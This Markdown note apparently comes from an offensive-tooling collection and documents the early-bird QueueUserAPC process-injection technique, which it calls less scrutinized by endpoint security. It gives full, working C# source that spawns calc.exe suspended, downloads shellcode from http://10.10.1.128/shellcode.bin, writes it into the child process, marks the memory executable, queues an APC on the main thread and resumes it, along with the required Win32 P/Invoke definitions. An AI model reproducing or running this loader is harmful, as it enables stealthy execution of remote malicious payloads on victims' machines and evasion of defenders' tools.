230 lines
6.5 KiB
Markdown
230 lines
6.5 KiB
Markdown
# QueueUserAPC
|
|
|
|
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
|
|
|
|
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
|
|
|
|
or
|
|
|
|
1. Enumerate threads of an existing process and queue the APC on one of them.
|
|
1. Wait for that thread to enter an alerted state, or
|
|
2. Force that thread to enter an alerted state.
|
|
|
|
First option is more straight forward.
|
|
|
|
`QueueUserAPC.cs`
|
|
|
|
```csharp
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Net.Http;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace QueueUserAPC
|
|
{
|
|
internal class Program
|
|
{
|
|
static async Task Main(string[] args)
|
|
{
|
|
var si = new Win32.STARTUPINFO();
|
|
si.cb = Marshal.SizeOf(si);
|
|
|
|
var pa = new Win32.SECURITY_ATTRIBUTES();
|
|
pa.nLength = Marshal.SizeOf(pa);
|
|
|
|
var ta = new Win32.SECURITY_ATTRIBUTES();
|
|
ta.nLength = Marshal.SizeOf(ta);
|
|
|
|
var pi = new Win32.PROCESS_INFORMATION();
|
|
|
|
var success = Win32.CreateProcessW(
|
|
"C:\\Windows\\System32\\calc.exe",
|
|
null,
|
|
ref ta,
|
|
ref pa,
|
|
false,
|
|
0x00000004, // CREATE_SUSPENDED
|
|
IntPtr.Zero,
|
|
"C:\\Windows\\System32",
|
|
ref si,
|
|
out pi);
|
|
|
|
// If we failed to spawn the process, just bail
|
|
if (!success)
|
|
throw new Win32Exception(Marshal.GetLastWin32Error());
|
|
|
|
// gather shellcode
|
|
|
|
byte[] shellcode;
|
|
var addr = "http://10.10.1.128/shellcode.bin";
|
|
|
|
using (var client = new HttpClient())
|
|
shellcode = await client.GetByteArrayAsync(addr);
|
|
|
|
// Allocate mem
|
|
var baseAddress = Win32.VirtualAllocEx(
|
|
pi.hProcess,
|
|
IntPtr.Zero,
|
|
(uint)shellcode.Length,
|
|
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
|
Win32.MemoryProtection.ReadWrite);
|
|
|
|
// Write shellcode, discard
|
|
Win32.WriteProcessMemory(
|
|
pi.hProcess,
|
|
baseAddress,
|
|
shellcode,
|
|
shellcode.Length,
|
|
out _);
|
|
|
|
// Flip mem protection, discard
|
|
Win32.VirtualProtectEx(
|
|
pi.hProcess,
|
|
baseAddress,
|
|
(uint)shellcode.Length,
|
|
Win32.MemoryProtection.ExecuteRead,
|
|
out _);
|
|
|
|
// Queue the APC, discard
|
|
Win32.QueueUserAPC(
|
|
baseAddress,
|
|
pi.hThread,
|
|
0);
|
|
|
|
// Resume thread
|
|
Win32.ResumeThread(pi.hThread);
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
`Win32.cs`
|
|
|
|
```csharp
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace QueueUserAPC
|
|
{
|
|
internal class Win32
|
|
{
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct STARTUPINFO
|
|
{
|
|
public int cb;
|
|
public IntPtr lpReserved;
|
|
public IntPtr lpDesktop;
|
|
public IntPtr lpTitle;
|
|
public int dwX;
|
|
public int dwY;
|
|
public int dwXSize;
|
|
public int dwYSize;
|
|
public int dwXCountChars;
|
|
public int dwYCountChars;
|
|
public int dwFillAttribute;
|
|
public int dwFlags;
|
|
public short wShowWindow;
|
|
public short cbReserved2;
|
|
public IntPtr lpReserved2;
|
|
public IntPtr hStdInput;
|
|
public IntPtr hStdOutput;
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
public IntPtr hThread;
|
|
public int dwProcessId;
|
|
public int dwThreadId;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct SECURITY_ATTRIBUTES
|
|
{
|
|
public int nLength;
|
|
public IntPtr lpSecurityDescriptor;
|
|
public bool bInheritHandle;
|
|
}
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
public static extern bool CreateProcessW(
|
|
string lpApplicationName,
|
|
string lpCommandLine,
|
|
ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
|
ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
|
bool bInheritHandles,
|
|
uint dwCreationFlags,
|
|
IntPtr lpEnvironment,
|
|
string lpCurrentDirectory,
|
|
ref STARTUPINFO lpStartupInfo,
|
|
out PROCESS_INFORMATION lpProcessInformation);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern IntPtr VirtualAllocEx(
|
|
IntPtr hProcess,
|
|
IntPtr lpAddress,
|
|
uint dwSize,
|
|
AllocationType flAllocationType,
|
|
MemoryProtection flProtect);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern bool WriteProcessMemory(
|
|
IntPtr hProcess,
|
|
IntPtr lpBaseAddress,
|
|
byte[] lpBuffer,
|
|
int nSize,
|
|
out IntPtr lpNumberOfBytesWritten);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern bool VirtualProtectEx(
|
|
IntPtr hProcess,
|
|
IntPtr lpAddress,
|
|
uint dwSize,
|
|
MemoryProtection flNewProtect,
|
|
out MemoryProtection lpflOldProtect);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern uint QueueUserAPC(
|
|
IntPtr pfnAPC,
|
|
IntPtr hThread,
|
|
uint dwData);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern uint ResumeThread(
|
|
IntPtr hThread);
|
|
|
|
[Flags]
|
|
public enum AllocationType
|
|
{
|
|
Commit = 0x1000,
|
|
Reserve = 0x2000,
|
|
Decommit = 0x4000,
|
|
Release = 0x8000,
|
|
Reset = 0x80000,
|
|
Physical = 0x400000,
|
|
TopDown = 0x100000,
|
|
WriteWatch = 0x200000,
|
|
LargePages = 0x20000000
|
|
}
|
|
|
|
[Flags]
|
|
public enum MemoryProtection
|
|
{
|
|
Execute = 0x10,
|
|
ExecuteRead = 0x20,
|
|
ExecuteReadWrite = 0x40,
|
|
ExecuteWriteCopy = 0x80,
|
|
NoAccess = 0x01,
|
|
ReadOnly = 0x02,
|
|
ReadWrite = 0x04,
|
|
WriteCopy = 0x08,
|
|
GuardModifierflag = 0x100,
|
|
NoCacheModifierflag = 0x200,
|
|
WriteCombineModifierflag = 0x400
|
|
}
|
|
}
|
|
}
|
|
``` |